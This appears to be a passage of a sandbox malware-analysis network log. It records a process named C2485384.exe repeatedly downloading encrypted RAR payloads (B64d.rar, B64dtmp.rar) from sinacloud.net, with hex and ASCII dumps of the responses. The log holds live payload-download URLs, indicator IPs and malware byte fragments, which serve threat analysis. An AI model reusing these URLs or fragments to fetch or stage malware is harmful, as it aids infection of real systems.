Aug 5, 2024 12:01:17.828902960 CEST	1236	IN	Data Raw: 72 62 36 64 ed 3e c9 09 68 9c 24 f3 48 21 58 5c f7 e1 40 ad 98 da f9 86 78 13 da f4 f3 32 75 95 07 bf ce 16 47 73 2d 23 66 1c f1 6f 44 e1 22 d2 d9 04 46 a6 55 87 20 4b 80 c8 6a 26 41 75 22 7f 13 41 f8 83 40 64 11 c1 74 f3 60 8f 11 b8 17 c4 5e 81 Data Ascii: rb6d>h$H!X\@x2uGs-#foD"FU Kj&Au"A@dt`^z8h}b[CkY[<!DICeUQ~]ISUI!{P=$ER0-3qq%*< ]N/{l_'0Vk=P)z&ab)BrQ:
Aug 5, 2024 12:01:17.833261967 CEST	1236	IN	Data Raw: af c0 b2 b1 a7 93 54 a0 86 8c bc cc 52 fe 78 62 0e ce 40 89 75 1a c0 16 8a 7f f0 98 b6 48 59 d0 ab 1b 72 2d 67 c8 9f 1c 4e 5b da f5 2c ed 8d f8 f8 a2 50 dd 97 a9 7c a2 95 fc 5d da b2 4f ff db 32 fa 98 b9 30 46 55 93 40 20 8f d4 51 f0 86 c4 af 05 Data Ascii: TRxb@uHYr-gN[,P\|]O20FU@ Q1ott))ju1+V/5'h1QkINICimr\|'PjTi3}G>R;5[\gPdTf@[aiIY!;aHWS.:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49894	27.221.16.149	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:25.906200886 CEST	232	OUT	GET /operate/24624 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:27.074862957 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Mon, 05 Aug 2024 10:01:24 GMT Content-Type: application/octet-stream Content-Length: 1254141 Connection: keep-alive X-RequestId: 2e71fb2f-2408-0518-0126-b4055d716dca X-Requester: GRPS000000ANONYMOUSE Last-Modified: Mon, 05 Aug 2024 09:49:14 GMT X-Filesize: 1254141 ETag: "7c122996d1cb6f84a1571234c8c9c24c" x-amz-meta-crc32: DB6A74AE Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-1254140/1254141 Data Raw: 50 4b 03 04 14 00 01 00 08 00 20 8e 05 59 1a d7 c6 76 8b 22 13 00 c8 a4 13 00 08 00 00 00 42 36 34 64 2e 72 61 72 4d 0b 98 49 2b 45 e9 59 bf ff c5 3c aa 9f 2a cd 4d 2c 89 26 55 a3 79 aa 65 61 83 fa 2a ce 7d d1 b6 8d f0 68 98 40 ea 85 f2 c0 75 d9 24 23 94 d9 0f dc 03 d6 20 d3 a8 09 bf 2d bd 1b 09 bb c7 41 89 aa 0f 5d d8 45 cc b7 25 d0 65 3b 2f d4 23 55 fb 64 f3 5f 44 8f ae 65 54 1c 30 27 77 e2 a9 36 06 31 41 8f 4b 72 c4 a2 ca 46 de ef 10 22 f8 0e 4c b2 58 ac 6c ad 55 40 52 48 d9 96 e6 c4 ad 8c 72 63 12 57 e2 db 13 2d dc 0b 82 8d 15 5b 78 55 ae e3 37 60 7e 87 53 3a bc 4d 59 b3 c7 40 86 1e 42 a3 1e 90 a6 b7 07 bb 02 4b ea 00 07 86 e3 eb fc db c6 f4 21 67 63 10 c8 22 e1 ed da f9 0f fa a1 54 c4 24 5f b1 71 23 a7 f9 5d 13 2e 47 28 4e c5 30 73 f4 de 62 c2 f6 3e 1b 68 79 97 f6 ff 45 4f ba 3b d4 b4 29 5a 55 be 2a 0f 60 b0 fa fd b5 13 c7 72 db 0c d8 ab 25 41 ce e2 47 82 cf e3 4f 40 5e cf b9 81 6d 92 1d a0 8d 95 9e b4 14 9c ed 22 fa 86 38 00 0d e1 89 0f 98 99 ce 34 96 10 fc b9 14 cc 44 30 bc 26 f2 fa c9 64 b6 [TRUNCATED] Data Ascii: PK Yv"B64d.rarMI+EY<M,&Uyea}h@u$# -A]E%e;/#Ud_DeT0'w61AKrF"LXlU@RHrcW-[xU7`~S:MY@BK!gc"T$_q#].G(N0sb>hyEO;)ZU*`r%AGO@^m"84D0&d7WspVQ$vXRxn!zJgP;uWR"!l9lUG&p1%#"7uP{_8t9&PHU34h&6w0Xi)s 70]-BI?B'uag\^T->C
Aug 5, 2024 12:01:27.074892998 CEST	1236	IN	Data Raw: 9a c3 3f 48 0c 00 eb 9b 67 34 59 99 00 78 7b 24 34 e3 d9 49 5b 8a 43 e9 41 2b 13 6d dc be 3f 13 13 24 5b 27 ad 26 0a 15 69 f1 b1 5d ee 35 13 04 7d ea ab 86 81 1f 02 0e 7e 61 c0 04 4b 9f 49 21 78 59 02 79 21 a1 c8 bb 2b af 17 96 e3 d2 91 1d e1 32 Data Ascii: ?Hg4Yx{$4I[CA+m?$['&i]5}~aKI!xYy!+2t3%py98zf-#^AEvl"u:T/tPhwV4sM]""HJCy]&g5kU#0E^FmzP
Aug 5, 2024 12:01:27.074911118 CEST	1236	IN	Data Raw: 3b cb e5 26 81 15 81 07 d8 0f 83 c3 20 9f 56 e3 37 91 e2 f3 e0 1a 26 ed 15 a2 1f 3f 5d 37 72 bb 7b 58 10 34 2b e6 72 8b 30 f3 df c0 05 c2 b9 cf 42 d9 7b c1 ba 14 82 22 c8 17 c9 e8 1d 7b e3 81 d7 d2 5c be 53 eb 0f 06 d9 cf 87 1f e5 c0 65 f3 84 cc Data Ascii: ;& V7&?]7r{X4+r0B{"{\SewHQsTXq[Dc<TSnU#"IgW.Cq aGjs\"Rfd#D-S[>g3%x4^/0G~E=z\ZJ4<{jkY8bdb\|_K
Aug 5, 2024 12:01:27.074928999 CEST	1236	IN	Data Raw: ec 30 6c f8 12 0e 43 d4 06 52 1a 0a ea c6 ae 5e 49 23 8c 7d 81 fb 4b 59 17 33 fb 8d e4 bd 35 6a 42 11 fe d9 bc aa e6 e4 49 2c 09 cf 04 b5 27 c8 f6 ac 5e e9 96 82 9a d9 e5 0c 43 cf 32 99 29 24 ed 4c e0 71 e3 e8 e5 23 75 d0 a3 c5 97 9b 92 62 a0 4e Data Ascii: 0lCR^I#}KY35jBI,'^C2)$Lq#ubN\|iqSB3Vjh<6?HmQ~(NBj[<{kp'\H0~St)jGF}*Wq\slt3.-aJ9Q\|[+
Aug 5, 2024 12:01:27.075006962 CEST	1236	IN	Data Raw: b6 4f 36 f0 dc eb 60 96 b7 a0 b4 68 8a 81 af 7d 63 16 50 ba fb 1d e3 57 d6 71 04 82 0d 34 43 bc 63 f6 8e a4 f8 d1 a4 66 cc cc f8 a8 3e ee e6 d4 fd b9 12 30 3b e4 d5 7f 12 56 d7 47 08 5f 12 26 70 28 66 dc a6 d0 44 54 22 7c a8 3d 70 ab 75 dd 21 9f Data Ascii: O6`h}cPWq4Ccf>0;VG_&p(fDT"\|=pu!iGC^YQVC=ronx}f)I<EAz_O@#<e@]q-Y}B`;`qrn?qy:Y4y0)"baA\kET^v}?b2Ae#[Y`e
Aug 5, 2024 12:01:27.075124979 CEST	1236	IN	Data Raw: a3 8d 5c a7 31 92 aa c8 32 9b 0f 10 78 bf 41 a4 19 d7 b2 a9 5f 81 14 c5 f8 0e 66 d8 ce 0b 5c c1 f0 32 af 53 2c 72 24 61 a9 e5 ac 30 26 d7 1b e5 8f 1a b4 5b 6b 34 43 60 a4 d5 94 46 12 7d 1b 64 c6 58 59 3e cb cd d9 40 1f 5f 55 5d f9 4c 37 f3 2d 92 Data Ascii: \12xA_f\2S,r$a0&[k4C`F}dXY>@_U]L7-HGxK>ZJkmWO'LOh~Vm%`y-:nmdnv:Qf^y*uWBBiel9WQU<gD.(t7>kcR<v#I
Aug 5, 2024 12:01:27.075141907 CEST	1013	IN	Data Raw: 88 f8 05 6a 58 10 c3 b8 32 b8 6f 0a 23 f1 da d2 95 cd 6f 74 0a a7 7f 2b e3 30 4a 9c 97 a7 d0 2d a9 44 d4 9f 18 09 58 c1 54 ff b3 85 84 05 38 35 77 70 92 58 7f fe 3f c1 10 4f b1 b2 54 ca cb d9 bc 40 a5 ee 61 e3 e2 47 89 ad b4 28 31 b0 f3 51 c0 53 Data Ascii: jX2o#ot+0J-DXT85wpX?OT@aG(1QS=O`0t.Z$a%)I("Ow,<t(1(zLRlX,_\|C44c0dfT%ivUGJ(FdwX<"eww]\|\|
Aug 5, 2024 12:01:27.075160027 CEST	1236	IN	Data Raw: 72 62 36 64 ed 3e c9 09 68 9c 24 f3 48 21 58 5c f7 e1 40 ad 98 da f9 86 78 13 da f4 f3 32 75 95 07 bf ce 16 47 73 2d 23 66 1c f1 6f 44 e1 22 d2 d9 04 46 a6 55 87 20 4b 80 c8 6a 26 41 75 22 7f 13 41 f8 83 40 64 11 c1 74 f3 60 8f 11 b8 17 c4 5e 81 Data Ascii: rb6d>h$H!X\@x2uGs-#foD"FU Kj&Au"A@dt`^z8h}b[CkY[<!DICeUQ~]ISUI!{P=$ER0-3qq%*< ]N/{l_'0Vk=P)z&ab)BrQ:
Aug 5, 2024 12:01:27.075176954 CEST	1236	IN	Data Raw: af c0 b2 b1 a7 93 54 a0 86 8c bc cc 52 fe 78 62 0e ce 40 89 75 1a c0 16 8a 7f f0 98 b6 48 59 d0 ab 1b 72 2d 67 c8 9f 1c 4e 5b da f5 2c ed 8d f8 f8 a2 50 dd 97 a9 7c a2 95 fc 5d da b2 4f ff db 32 fa 98 b9 30 46 55 93 40 20 8f d4 51 f0 86 c4 af 05 Data Ascii: TRxb@uHYr-gN[,P\|]O20FU@ Q1ott))ju1+V/5'h1QkINICimr\|'PjTi3}G>R;5[\gPdTf@[aiIY!;aHWS.:
Aug 5, 2024 12:01:27.075270891 CEST	344	IN	Data Raw: ef 39 17 38 bf 3f 8d 17 db 9d ef 7b 7d 8c 4d 0b bb ab 1e 1e 72 99 b9 d5 4a eb 19 c3 6f 75 96 64 2b dc aa bb f2 77 fd 74 19 76 5e d2 6e 84 ec c9 35 ae b9 7a 7f cf 31 d7 9a 2e 00 c0 82 7e f5 c1 e3 60 92 7d c4 17 8a 1c 14 4c 6e 71 46 82 07 02 59 fe Data Ascii: 98?{}MrJoud+wtv^n5z1.~`}LnqFYg?qrv6!ga.cK-WuPa@Gi!:vKF^}dECWh,{s`eJ=w\|00&Kb&&.N[d#?@]Gi`3Q-.3 a-d
Aug 5, 2024 12:01:27.079778910 CEST	1236	IN	Data Raw: 2a d0 2c 66 77 3f 23 9e 17 5b 1d 3a a0 44 de 35 89 36 80 8e 0c 09 5e 13 d8 8d 8f 53 f2 a7 f6 20 8e 3a 55 a2 45 d1 ad 4f 56 ce 06 81 ea c8 75 2d 43 f4 e2 b6 d3 0b 72 8c 0d 0f 01 42 42 f8 bf 6f 7b eb 72 a8 d3 1c 39 b3 85 ec a7 5d 16 64 d9 3d b3 66 Data Ascii: *,fw?#[:D56^S :UEOVu-CrBBo{r9]d=fOCl?icZoHyi0UfDx.ut:kPghrC6+$XC`wtTyHpR3 0#\r-h{Hw{x<%u3O9(>[('KUz_F9ny'r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	49905	27.221.16.179	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:34.336811066 CEST	232	OUT	GET /operate/24647 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:35.639585018 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Mon, 05 Aug 2024 10:01:36 GMT Content-Type: application/octet-stream Content-Length: 1286778 Connection: keep-alive X-RequestId: ff31dff0-2408-0518-0135-5ca7213e1012 X-Requester: GRPS000000ANONYMOUSE Last-Modified: Mon, 05 Aug 2024 09:50:07 GMT X-Filesize: 1286778 ETag: "11a265e5a4b94fd875d3d29de9a3e43a" x-amz-meta-crc32: 8BDB303B Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-1286777/1286778 Data Raw: 50 4b 03 04 14 00 01 00 08 00 3a 8e 05 59 ff 73 17 02 02 a2 13 00 d8 1c 14 00 0b 00 00 00 42 36 34 64 74 6d 70 2e 72 61 72 d7 71 da 75 90 69 2d b1 62 2e 48 80 12 de 68 c0 50 53 7d aa bd 9e 9d 92 b3 c2 88 b7 48 3a ad 4c e1 b7 cb 3b eb 63 a6 4d cb e1 a1 e8 41 84 6c 3f bd 54 69 88 80 3b eb 04 ed fc 38 71 51 29 a0 da ba d1 27 0b a4 04 c1 a3 0b c6 4d 36 3f a5 26 9e 07 88 5a 0d 14 34 be 4a 62 0f dc 4f 38 46 ff 73 2a 03 45 e9 2f ac eb e6 1d c4 04 00 56 7f bc 10 33 e5 50 06 95 41 a5 bf 97 60 ea 87 03 36 b9 22 04 b6 86 d2 af 40 be 13 aa 4d e8 c8 d3 3b da 47 8a c7 7f cc 44 98 21 eb 69 62 53 ea 1d f7 a4 76 70 04 5e 0e 4f fa f7 15 2c e9 51 a4 1a 84 fa f5 f1 ad f0 9f 16 81 5a 66 ab a1 29 53 1c 7e 5e 3b d0 c2 6f f6 a9 ba d7 fb 59 2a f7 db ad 55 24 57 23 2a 90 3e 23 53 71 07 36 87 6b 35 e0 78 6e 5b a9 b8 04 a2 95 67 d9 2f e5 ec 67 64 15 6c ea 0f ad 3b b5 ed 17 dd 96 97 85 a0 ae 2e ba c6 80 fc b7 a9 5d 54 cb a0 cc 93 c4 d3 2a 33 91 b5 ce de 66 b0 31 47 a7 da 6b f0 25 35 7c 18 8a d8 a9 96 ac 77 29 53 fa eb 6e 30 ea [TRUNCATED] Data Ascii: PK:YsB64dtmp.rarqui-b.HhPS}H:L;cMAl?Ti;8qQ)'M6?&Z4JbO8FsE/V3PA`6"@M;GD!ibSvp^O,QZf)S~^;oYU$W#>#Sq6k5xn[g/gdl;.]T3f1Gk%5\|w)Sn0_B:&LXsBItfCDhme`5em<zfS-eDnY@zV&j;r2_nz6^MZDrT7'8"Ga70^-_>H#X.dbdxThrvi6x{0c;3~{-}_uo
Aug 5, 2024 12:01:35.639615059 CEST	1236	IN	Data Raw: 19 64 2b 99 86 6c f1 31 2e 8f fd 77 28 03 d2 62 c3 e2 e4 7e d5 79 98 06 23 c3 2e 6a 70 b0 8e 99 13 f0 05 30 6e 98 fa ba af 6f 56 e5 7b 15 e9 7a 6e 4f be ba 8f 3a f2 4d f0 88 37 ae 63 9b 22 b6 50 85 d3 fa ef ac 7e d6 c4 b3 67 83 fd a0 e2 90 58 2b Data Ascii: d+l1.w(b~y#.jp0noV{znO:M7c"P~gX+RL!(]\|(~_#RMbuEFS@\hzRZ&F)T7fwG0b63WgT/S![R&Vn[eXLt]4b~yYF] jfSY*kMm
Aug 5, 2024 12:01:35.639631033 CEST	325	IN	Data Raw: 24 3a bf b9 20 22 f9 1b 04 e3 f3 22 1e 90 c3 37 ec 7e 48 21 7c c4 c6 5e 17 a5 af fd 4b 5f 23 2a c6 a4 c7 8d be 5f b3 de 73 30 65 db 26 54 c3 fe c6 52 29 b3 38 24 1f 66 2b 20 4d 98 57 19 9d 0f 47 a6 62 1b 83 ea 97 9c 45 b5 b9 85 56 2c c3 ec 96 85 Data Ascii: $: ""7~H!\|^K_#*_s0e&TR)8$f+ MWGbEV,)9BOB"^.HPBizn?\|\sluG&Zwv`0hZ+pw)=~[}]=bj<b%j'>5%wgX"v
Aug 5, 2024 12:01:35.639833927 CEST	1236	IN	Data Raw: 4e 91 3b ad fb 31 62 41 9a ee f4 d2 fc fe d6 91 e8 ce 9e 54 fb 2c 65 b1 6a 28 64 2b fd 59 85 d4 f9 83 d2 73 92 6e 81 e5 47 7d 3f ba 01 0d d1 02 46 68 c8 6b b1 d8 cd 04 a4 4c 2d e5 51 7d ed 5a 5d a1 f0 99 13 65 f9 ec 6d aa c4 35 d6 c7 11 5e df a7 Data Ascii: N;1bAT,ej(d+YsnG}?FhkL-Q}Z]em5^\'{Q2<:'IyO.>\\|`F-Y('t239={<U),WZKyjTn"f)}5[/!&`/]0"\|<\|g^o^
Aug 5, 2024 12:01:35.639849901 CEST	1236	IN	Data Raw: 0a e3 8b b1 7b da 06 43 e9 b0 1a ad 5a 90 f1 0c 66 73 17 6d f3 c9 99 9d d4 6b 7f 60 7c d8 bd d7 e9 5b 82 88 73 02 fb 58 22 1e 13 45 38 80 8b 9e 5b 24 a5 40 af 90 6d 2d d6 71 57 75 60 8a 26 70 d9 9b fc 21 77 fd 46 29 5f 4e 43 5f a5 cf 3e 7f 7a 31 Data Ascii: {CZfsmk`\|[sX"E8[$@m-qWu`&p!wF)_NC_>z1) 8FR<<`'\|GyJ#r7sptdt+(=8$,x#:$p/dZ)8':mHARiCw/xmystdgGH^B*QVi#:Xr.`>bD
Aug 5, 2024 12:01:35.639867067 CEST	1236	IN	Data Raw: b8 36 73 75 62 ae e4 72 9b ad 33 fc 9b 05 2d 88 1c 23 f5 c2 d2 4b 6e 34 8b ee e7 16 4f 90 74 a8 8c 64 f1 96 54 6d 8a 2a 15 3e 59 c2 56 57 ca 86 aa 79 66 a7 46 b9 31 ce 02 0c f9 d4 de aa 51 fa 99 55 5d 4c 8a 04 d0 09 85 01 0e 3d bf d9 fd 84 8c c3 Data Ascii: 6subr3-#Kn4OtdTm*>YVWyfF1QU]L=;l{lR&#`(kCGCS023j6FEaU/pl3:3q0X.8#zB}5u_rl qy8iZl(>%P:PHjEwD-`s
Aug 5, 2024 12:01:35.639883041 CEST	1236	IN	Data Raw: 2f 62 37 83 cd 21 4f 18 ff 83 78 8e 06 74 9f ff 2b c8 20 f8 50 a2 df 26 18 17 2b 9c cf 37 3d 35 49 bc f7 33 1e fe c5 94 35 2b 5f 5a 45 a2 56 df 9d 87 9c 76 71 f1 d6 98 11 d6 7e 22 7b 94 9b cd bc 7b ef 87 75 25 ac 30 4e 41 bf 2f 9c 6f 0e 92 9b a6 Data Ascii: /b7!Oxt+ P&+7=5I35+_ZEVvq~"{{u%0NA/oCODS-r;o=wC+qQcru13$?2AeoHthLqMI\S_NksZhA&kU~2Eh`oS:y9V4
Aug 5, 2024 12:01:35.639900923 CEST	688	IN	Data Raw: e1 e2 fe 75 a7 74 b2 8b 1f 7e cf cd 46 13 01 9a 7d bd c0 6d 16 d4 56 1e ab 71 6f dc 57 33 01 9e 10 65 d8 7f 2d 97 32 8e 1f 08 a5 ad 99 03 07 7e 3e de d0 d2 76 82 c0 f3 ad 9b 14 99 2e c3 d5 5c 29 5b b4 6b da 39 1e 61 e9 ec 1c b3 a0 d6 10 77 6a 9c Data Ascii: ut~F}mVqoW3e-2~>v.\)[k9awjs//O'51cI/*Fx=ZEhAU,pVn6?gJMB27f\V(VC~SC,!26nr$v.[GS?3ps`b%^,
Aug 5, 2024 12:01:35.639947891 CEST	1236	IN	Data Raw: c5 5a 87 77 ee 73 a6 0d b6 7a f4 8e 0a 1d 36 bd 87 50 34 00 99 e8 bf 7f 09 5d 71 5b 4a ae f4 e0 3c 54 1d 33 11 2b ff 24 65 17 7e 5b ae e7 ec 8b 80 c9 44 f5 e2 cb 8c 4e 51 27 b7 01 af d1 d9 a3 9c 4b 6a f6 84 c6 36 f2 75 cf ba 6e 9d e4 dd 6b 19 d6 Data Ascii: Zwsz6P4]q[J<T3+$e~[DNQ'Kj6unkEBpG;qFb494[6T]CN8`fkg:]Pco~u\XVc\|NXuPT?VN6lGsq?G*%%I{>F&O\!aDRo
Aug 5, 2024 12:01:35.639964104 CEST	224	IN	Data Raw: 98 70 43 70 e4 d6 96 cb 80 9d 90 2e 37 38 54 b0 77 bf 75 29 e5 c9 52 79 00 73 b8 8d 55 5c c2 bb 54 59 f2 b1 f9 28 fa 3a 76 e1 70 9b 38 e4 c6 16 81 d5 b5 cd 68 ca b8 22 c8 fd fc 82 2e c1 01 7a 33 5c 10 10 76 a0 85 b2 5b c0 4b 4d 03 a7 65 50 c5 35 Data Ascii: pCp.78Twu)RysU\TY(:vp8h".z3\v[KMeP5} P{7\IC[I-q}b0GFNZU@b\7!Pi0HjL}Y+!"]J+a{T\|xc8(/'<rW?>t$dt?9wy%S
Aug 5, 2024 12:01:35.644625902 CEST	1236	IN	Data Raw: d4 92 61 0a a2 28 d6 c1 ec 75 9e 2f 97 f3 48 db 62 10 f2 e0 02 8c d3 71 6b 59 86 b9 0f 83 1f 33 29 1f a0 d4 f6 d7 4b 91 32 d3 de 37 e2 e5 e9 9a 39 58 5b 18 d8 30 02 14 2b 20 90 4a a9 03 04 0d f6 53 c3 c4 05 f3 e4 c7 f8 e8 86 c0 24 a2 7a c8 66 e7 Data Ascii: a(u/HbqkY3)K279X[0+ JS$zfne?\wm?[S>W_4}w<[Lee KDaU@<;o3?xo&c$bsD\SV#5p>gW]-G3Hh.d"G9^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49906	27.221.16.179	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:01:45.572875977 CEST	232	OUT	GET /operate/24647 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:01:46.712327957 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Mon, 05 Aug 2024 10:01:47 GMT Content-Type: application/octet-stream Content-Length: 1286778 Connection: keep-alive X-RequestId: ee374060-2408-0518-0146-0894eff93358 X-Requester: GRPS000000ANONYMOUSE Last-Modified: Mon, 05 Aug 2024 09:50:07 GMT X-Filesize: 1286778 ETag: "11a265e5a4b94fd875d3d29de9a3e43a" x-amz-meta-crc32: 8BDB303B Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-1286777/1286778 Data Raw: 50 4b 03 04 14 00 01 00 08 00 3a 8e 05 59 ff 73 17 02 02 a2 13 00 d8 1c 14 00 0b 00 00 00 42 36 34 64 74 6d 70 2e 72 61 72 d7 71 da 75 90 69 2d b1 62 2e 48 80 12 de 68 c0 50 53 7d aa bd 9e 9d 92 b3 c2 88 b7 48 3a ad 4c e1 b7 cb 3b eb 63 a6 4d cb e1 a1 e8 41 84 6c 3f bd 54 69 88 80 3b eb 04 ed fc 38 71 51 29 a0 da ba d1 27 0b a4 04 c1 a3 0b c6 4d 36 3f a5 26 9e 07 88 5a 0d 14 34 be 4a 62 0f dc 4f 38 46 ff 73 2a 03 45 e9 2f ac eb e6 1d c4 04 00 56 7f bc 10 33 e5 50 06 95 41 a5 bf 97 60 ea 87 03 36 b9 22 04 b6 86 d2 af 40 be 13 aa 4d e8 c8 d3 3b da 47 8a c7 7f cc 44 98 21 eb 69 62 53 ea 1d f7 a4 76 70 04 5e 0e 4f fa f7 15 2c e9 51 a4 1a 84 fa f5 f1 ad f0 9f 16 81 5a 66 ab a1 29 53 1c 7e 5e 3b d0 c2 6f f6 a9 ba d7 fb 59 2a f7 db ad 55 24 57 23 2a 90 3e 23 53 71 07 36 87 6b 35 e0 78 6e 5b a9 b8 04 a2 95 67 d9 2f e5 ec 67 64 15 6c ea 0f ad 3b b5 ed 17 dd 96 97 85 a0 ae 2e ba c6 80 fc b7 a9 5d 54 cb a0 cc 93 c4 d3 2a 33 91 b5 ce de 66 b0 31 47 a7 da 6b f0 25 35 7c 18 8a d8 a9 96 ac 77 29 53 fa eb 6e 30 ea [TRUNCATED] Data Ascii: PK:YsB64dtmp.rarqui-b.HhPS}H:L;cMAl?Ti;8qQ)'M6?&Z4JbO8FsE/V3PA`6"@M;GD!ibSvp^O,QZf)S~^;oYU$W#>#Sq6k5xn[g/gdl;.]T3f1Gk%5\|w)Sn0_B:&LXsBItfCDhme`5em<zfS-eDnY@zV&j;r2_nz6^MZDrT7'8"Ga70^-_>H#X.dbdxThrvi6x{0c;3~{-}_uo
Aug 5, 2024 12:01:46.712348938 CEST	1236	IN	Data Raw: 19 64 2b 99 86 6c f1 31 2e 8f fd 77 28 03 d2 62 c3 e2 e4 7e d5 79 98 06 23 c3 2e 6a 70 b0 8e 99 13 f0 05 30 6e 98 fa ba af 6f 56 e5 7b 15 e9 7a 6e 4f be ba 8f 3a f2 4d f0 88 37 ae 63 9b 22 b6 50 85 d3 fa ef ac 7e d6 c4 b3 67 83 fd a0 e2 90 58 2b Data Ascii: d+l1.w(b~y#.jp0noV{znO:M7c"P~gX+RL!(]\|(~_#RMbuEFS@\hzRZ&F)T7fwG0b63WgT/S![R&Vn[eXLt]4b~yYF] jfSY*kMm
Aug 5, 2024 12:01:46.712361097 CEST	1236	IN	Data Raw: 24 3a bf b9 20 22 f9 1b 04 e3 f3 22 1e 90 c3 37 ec 7e 48 21 7c c4 c6 5e 17 a5 af fd 4b 5f 23 2a c6 a4 c7 8d be 5f b3 de 73 30 65 db 26 54 c3 fe c6 52 29 b3 38 24 1f 66 2b 20 4d 98 57 19 9d 0f 47 a6 62 1b 83 ea 97 9c 45 b5 b9 85 56 2c c3 ec 96 85 Data Ascii: $: ""7~H!\|^K_#*_s0e&TR)8$f+ MWGbEV,)9BOB"^.HPBizn?\|\sluG&Zwv`0hZ+pw)=~[}]=bj<b%j'>5%wgX"v
Aug 5, 2024 12:01:46.712490082 CEST	549	IN	Data Raw: b0 f2 0c 2e 6c 09 51 d2 91 54 48 5c ea ca c1 e2 dd 0a 5e 2c 63 c6 6a 58 9d 37 a7 a4 07 c5 7f 4e 6a 2c 8a 84 cc 90 61 d2 07 a3 c5 8c 63 04 32 5d 96 5f fe a3 a2 2a 8a 1e eb ab 70 ed 15 04 7c 94 12 e7 f8 08 21 34 ae fe 67 19 68 d1 3f 39 82 e3 be 0f Data Ascii: .lQTH\^,cjX7Nj,ac2]_*p\|!4gh?9.[>}Az<SP0==d-wNmWr6PKoOC[>01cNbmFk _lop1]p:{Vf"UWN=4~sq)yj5
Aug 5, 2024 12:01:46.712502003 CEST	1236	IN	Data Raw: d5 88 ac 1f e6 60 3e f7 0c 62 fb b5 e2 e7 e2 dc 44 91 b6 63 69 d8 bd c4 81 70 8e 1c 3a 74 58 e7 1d 5a ef a7 c4 a7 61 c9 92 82 39 32 a1 90 52 a7 9b 71 e1 66 cc ef 80 85 ca 32 c4 c1 c9 b4 c0 59 69 39 53 a4 9f c8 34 f0 44 de 61 36 19 c3 9b ab fa 3c Data Ascii: `>bDcip:tXZa92Rqf2Yi9S4Da6<S\|c\K}>LtuJB^YQ&asOG-8-)[}wJc\SJ7]>'ZyW#Ky:0{Tg`NoVp;@1c!99K1gN22s1
Aug 5, 2024 12:01:46.712513924 CEST	1236	IN	Data Raw: f5 bf 45 77 ae b8 07 c5 8c 07 13 0f 13 dd 44 2d 60 9d 73 b5 51 12 c4 19 5d 0e b1 b8 97 c4 0d b9 85 b0 3f 07 26 9e 60 65 16 34 b9 8a fc 5a 9a 74 28 c3 61 50 ac 72 39 32 94 2f 9d 5d c4 2c 04 d2 b7 f2 c7 a3 c8 b4 5c 8f e6 e2 06 2d bf 9e 73 ef 83 54 Data Ascii: EwD-`sQ]?&`e4Zt(aPr92/],\-sT;t("KzHV3riSTJ[\|T?s PDdEWO4sbx@kiT6yfO2l9P,>'n2'L{8073IVTb1nye
Aug 5, 2024 12:01:46.712526083 CEST	1236	IN	Data Raw: 8e 53 eb 3a bf 79 39 a8 00 f8 11 bf 56 e6 34 9f 02 0b ee bb 7b ce 17 86 cc aa b1 2d 86 5d 1d a2 c1 92 da 96 d0 31 2d 03 1c 56 30 4e 20 4d 4a e6 28 46 8d a9 14 cc 9c 75 b0 87 b4 48 26 0d a6 1c a2 e8 c7 4a de 6e 98 fb 73 ca cd 84 50 ab 00 be 7e 18 Data Ascii: S:y9V4{-]1-V0N MJ(FuH&JnsP~_CRY3JZX5%@m.ooe>UZM+f3e,qyKVeY;QfGREM/:rA@#\{Fc>$CN%czN0;3_Lv^Cfq
Aug 5, 2024 12:01:46.712541103 CEST	1236	IN	Data Raw: 04 89 3f 33 70 73 c5 19 80 60 8a 84 62 92 25 5e bc 03 2c d3 d1 d6 a3 93 ab fc 8e 97 4e 8c d6 aa ca 68 23 bf 84 2e 8b 3a a7 ef 71 1f ca 26 09 5e 3a 8a 52 97 3c d8 19 ad 11 7e 71 0f f4 fb b2 3f f6 cd a3 50 af 5f 83 c8 4a fa 8c 7f 23 05 cb 96 4a 53 Data Ascii: ?3ps`b%^,Nh#.:q&^:R<~q?P_J#JS@l{i('ji0^*x=F~#m}7W6YghX>dgo@:@,WVchWd\$`N{@~>EpqC@NCm\|ETUe
